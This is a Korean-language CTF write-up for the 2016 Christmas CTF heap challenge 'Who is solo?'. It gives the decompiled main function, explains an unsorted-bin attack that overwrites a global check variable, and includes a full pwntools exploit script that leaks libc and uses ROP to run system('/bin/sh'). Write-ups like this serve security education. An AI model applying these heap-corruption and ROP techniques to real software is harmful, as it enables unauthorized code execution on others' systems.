2016 Christmas CTF Who is solo?
64비트 바이너리고 Partial RELRO, NX, FORTIFY가 걸려있다.
[*] '/vagrant/ctfs/solo'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
FORTIFY: Enabled
메뉴는 5가지고 전형적인 힙 문제의 메뉴다.
1. malloc
2. free
3. list
4. login
5. exit
함수들은 아래와 같은 기능들을 한다.
sub_4008D0 : print menu
sub_400930 : malloc only 4 chunks
sub_400B60 : free chunk
메인함수다.
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
int v4; // [rsp+Ch] [rbp-42Ch]
void *buf; // [rsp+10h] [rbp-428h]
char v6; // [rsp+18h] [rbp-420h]
char v7; // [rsp+20h] [rbp-418h]
char v8; // [rsp+28h] [rbp-410h]
char v9; // [rsp+30h] [rbp-408h]
setvbuf(stdout, 0LL, 2, 0x400uLL);
sub_4008B0();
v4 = 0;
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
do
{
sub_4008D0();
__isoc99_scanf("%d", &v4);
}
while ( v4 == 3 );
if ( v4 > 3 )
break;
if ( v4 == 1 )
{
sub_400930(&buf, &v6, &v7, &v8); // 1. malloc
}
else
{
if ( v4 != 2 )
return 0LL;
sub_400B60(&buf, &v6, &v7, &v8); // 2. free
}
}
if ( v4 != 4 )
break;
if ( qword_602080 ) // 4. login
{
__printf_chk(1LL, "Input password: ");
read(0, &v9, 2000uLL); // vuln
}
else
{
puts("Login failed");
}
}
if ( v4 != 0x31337 )
break;
__printf_chk(1LL, "Modify Data: ");
read(0, buf, 300uLL);
}
return 0LL;
}
unsorted bin 취약점을 이용한 문제다.
malloc(1,200,’AAAA’), malloc(2,200,’BBBB’), malloc(3,200,’CCCC’) 할당
free(2) 해주면 fd,bk에는 main_arena+88주소가 적힌다.
modify메뉴로 free된 2번 청크의 bk를 check해주는 (전역변수-16)로 덮어 fd,bk 조작해 원하는 주소에 값을 씀
전역변수 -16 해주는 이유는 unlink때 FD->bk=BK; BK->fd=FD;
로 현재 chunk bk + 16위치에 현재 fd값이 들어가기 때문에 덮어쓸 주소 -16해준다. bk에 check -16을 넣어주면 unlink과정에서 check+0에 fd가 들어간다.
malloc(4,200,’DDDD) 할당
그러면 0으로 덮여있던 check는 main_arena + 88의 주소가 들어가있다.
Login 메뉴를 사용가능하다. 취약점 터지는 read(0, &v9, 2000uLL);
에서 rop해주면 됨.
exploit.py
from pwn import *
context.arch = 'amd64'
#context.log_level = 'debug'
e = ELF('./solo')
p = process('./solo')
libc = e.libc
sa = lambda x,y : p.sendafter(x,y)
sla = lambda x,y : p.sendlineafter(x,y)
prdi = 0x00000000004008a0 # pop rdi ; ret
prsi_r15 = 0x0000000000400d11 # pop rsi ; pop r15 ; ret
check = 0x0000000000602080
main = 0x0000000000400680
# chunk max : 3
def malloc(num,size,data):
sla('$','1')
sla(':',str(num)) # Allocate Chunk Number:
sla(':',str(size)) # Input Size:
sa(':',data) # Input Data:
def free(num):
sla('$','2')
sla(':',str(num)) # Free Chunk number:
def modify(data):
sla('$','201527')
sa(':',data) # Modify Data:
def login(pay):
sla('$','4')
sla(':',pay) # Input password:
def exit():
sla('$','5')
# malloc -> num 1,2,3
malloc(1,200,'AAAAAAAA')
malloc(2,200,'BBBBBBBB')
malloc(3,200,'CCCCCCCC')
# free -> num 2
free(2)
#raw_input()
# modify -> num 2 -> bk(check - 16)
p1 = 'A'*200
p1 += p64(0xd1) # size
p1 += p64(0x0) # fd
p1 += p64(check - 0x10) # bk
modify(p1)
# malloc -> num 4
malloc(4,200,'DDDDDDDD')
p2 = 'A'*0x408
p2 += p64(prdi) + p64(check) + p64(e.plt['puts'])
p2 += p64(main)
login(p2) # leak main_arena + 88
exit()
libc_base = u64(p.recvuntil('\x7f')[-6:] + '\x00\x00') - 88 - 0x3c4b20
log.info('libc_base : ' + hex(libc_base))
# system('/bin/sh')
p3 = 'A'*0x408
p3 += p64(prdi) + p64(libc_base + libc.search('/bin/sh\x00').next()) + p64(libc_base + libc.symbols['system'])
login(p3)
exit()
p.interactive()